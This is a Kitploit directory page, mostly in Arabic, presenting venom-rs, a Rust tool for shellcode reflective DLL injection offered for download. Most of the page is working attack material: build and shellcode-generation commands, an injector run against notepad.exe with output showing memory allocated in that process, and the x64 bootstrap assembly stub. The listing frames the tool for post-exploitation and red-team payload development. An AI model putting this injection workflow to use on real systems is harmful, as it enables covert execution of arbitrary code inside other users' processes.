Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
venom-rs — Rusty Injection - حقن DLL الانعكاسي للـ Shellcode (sRDI) باستخدام Rust (الاسم الرمزي: Venom) | Kitploit
أدوات/GitHubGitHub/memn0ps/venom-rs
شيل كودما بعد الاستغلالالفريق الأحمرتوليد شيفرة القشرةتطوير الحمولاتArchived
GitHubmemn0ps/venom-rs

venom-rs

Rusty Injection - حقن DLL الانعكاسي للـ Shellcode (sRDI) باستخدام Rust (الاسم الرمزي: Venom)

عرض المستودع
37048منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Shellcode Reflective DLL Injection (sRDI) في Rust (الاسم الرمزي: Venom)

حقن الـ shellcode الانعكاسي للـ DLL (sRDI) هو تقنية حقن عمليات تسمح لنا بتحويل أي DLL إلى كود مستقل عن الموضع (position-independent code) يمكن حقنه بعد ذلك باستخدام تقنية حقن وتنفيذ الـ shellcode المفضلة لدينا.

الميزات

  • حجم المُحمّل الانعكاسي (reflective loader) يبلغ حوالي 4 كيلوبايت.

  • لا يقوم بتحرير الذاكرة التي خصصها الحاقن (injector)، ولا يزيل أي صلاحيات RWX موجودة تم تعيينها بواسطة الحاقن، إن وجدت.

  • لا يقوم بالكتابة فوق أو مسح ترويسات DOS أو NT للذاكرة المخصصة حديثاً بعد/قبل حل الواردات (imports) أو إعادة ترسيخ الصورة (rebasing).

  • يطبق إعدادات الحماية لكل قسم (section) يتم تخصيصه بواسطة دالة VirtualAlloc، ثم ينفذ بعد ذلك إما دالة DllMain أو دوال SayHello.

ماذا عن OPSEC؟ لا تتردد في تنفيذه بنفسك :)

الاستخدام

0). قم بتثبيت Rust

1). قم ببناء جميع المشاريع

root@kitploit:~
cargo build --release

2). قم بتوليد الـ shellcode.

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe -h
Shellcode Reflective DLL Injection (sRDI)

Usage: generate_shellcode.exe [OPTIONS] --loader <LOADER> --payload <PAYLOAD> --function <FUNCTION> --parameter <PARAMETER> --output <OUTPUT>

Options:
      --loader <LOADER>        The reflective loader DLL path (loader.dll)
      --payload <PAYLOAD>      The payload DLL path (payload.dll)
      --function <FUNCTION>    The function to execute inside payload.dll (SayHello)
      --parameter <PARAMETER>  The parameter to pass to the function inside payload.dll (https://localhost:1337/)
      --output <OUTPUT>        The output file path (shellcode.bin)
      --flags <FLAGS>          The 0x0 flag will execute DllMain and any other flag will execute the function inside payload.dll (SayHello) [default: 1]
  -h, --help                   Print help
  -V, --version                Print version
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

3). أحضر الحاقن الخاص بك (BYOI) وقم بحقن الكود المستقل عن الموضع باستخدام تقنية الحقن والتنفيذ المفضلة لديك أو استخدم التقنية الموجودة في المستودع.

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe -h
Simple Injector for PoC

Usage: inject.exe --process <PROCESS> --file <FILE>

Options:
      --process <PROCESS>  The target process name (notepad.exe)
      --file <FILE>        The PIC file path (shellcode.bin)
  -h, --help               Print help
  -V, --version            Print version
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

مثال

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs> cargo build --release
    Finished release [optimized] target(s) in 0.04s
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs>

DLLMain

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe --loader .\reflective_loader.dll --payload .\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 0 --output shellcode.bin

Loader Path: .\reflective_loader.dll
Payload Path: .\payload.dll
Output Path: shellcode.bin
[+] Reflective Loader Offset: 0x400
[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)
[+] Reflective Loader Length: 3584
[+] Payload DLL Length: 113664
[+] Total Shellcode Length: 117350
[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)
[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]
[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: ???, arg6: 0
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe --process notepad.exe --file .\shellcode.bin

[+] Process ID: 9944
[+] Process handle: 184
[+] Allocated memory in the target process for the shellcode: 0x19e49950000
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

./ExampleDllMain.png

SayHello

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe --loader .\reflective_loader.dll --payload .\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 1 --output shellcode.bin

Loader Path: .\reflective_loader.dll
Payload Path: .\payload.dll
Output Path: shellcode.bin
[+] Reflective Loader Offset: 0x400
[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)
[+] Reflective Loader Length: 3584
[+] Payload DLL Length: 113664
[+] Total Shellcode Length: 117350
[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)
[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]
[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: shellcode.bin addy, arg6: 1
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe --process notepad.exe --file .\shellcode.bin
[+] Process ID: 9944
[+] Process handle: 184
[+] Allocated memory in the target process for the shellcode: 0x19e499c0000
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

./ExampleSayHello.png

الوصف

الـ bootstrap shellcode:

root@kitploit:~
call 0x00
pop rcx
mov r8, rcx

push rsi
mov rsi, rsp
and rsp, 0x0FFFFFFFFFFFFFFF0
sub rsp, 0x30

mov qword ptr [rsp + 0x20], rcx
sub qword ptr [rsp + 0x20], 0x5
mov dword ptr [rsp + 0x28], <flags>

mov r9, <parameter_length>
add r8, <parameter_offset> + <payload_length>
mov edx, <parameter_hash>
add rcx, <payload_offset>

call <loader_offset>

nop
nop

mov rsp, rsi
pop rsi
ret

nop
nop

تخطيط ملف shellcode.bin في الذاكرة:

sRDI

الاعتمادات: Nick Landers @(monoxgas)

المراجع والاعتمادات

  • https://www.netspi.com/blog/technical/adversary-simulation/srdi-shellcode-reflective-dll-injection/
  • https://github.com/monoxgas/sRDI
  • https://github.com/stephenfewer/ReflectiveDLLInjection/
  • https://discord.com/invite/rust-lang-community (Rust Community #windows-dev channel)
  • https://github.com/dismantl/ImprovedReflectiveDLLInjection
  • https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html
  • https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/
  • https://github.com/Cracked5pider/KaynLdr
  • https://github.com/Ben-Lichtman/reloader/
  • https://github.com/not-matthias/mmap/
  • https://github.com/memN0ps/mmapper-rs
  • https://github.com/2vg/blackcat-rs/tree/master/crate/mini-sRDI
  • https://github.com/Jaxii/idk-rs/
  • https://github.com/janoglezcampos/rust_syscalls/
تنزيل الأداة